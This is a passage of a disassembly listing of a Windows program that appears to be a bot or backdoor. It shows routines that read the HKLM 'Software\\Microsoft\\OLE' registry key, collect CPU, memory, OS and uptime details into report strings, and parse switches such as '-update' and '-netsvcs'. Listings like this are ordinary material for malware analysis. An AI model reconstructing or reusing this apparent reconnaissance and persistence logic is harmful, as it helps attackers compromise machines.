		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2960000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23DB1EAh, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 3DB0A5E8h, 448D9002h, 4C8D1024h, 68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0AF64E890h
		dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	9DE850FFh, 90023EA0h, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 9050FFFFh
		dd 3DAE15E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh
		dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DACD6h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		nop
		call	near ptr 27E0CD4h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27E0CD4h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2830000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2820000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	near ptr byte_5FC011
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 2810000h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2950000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


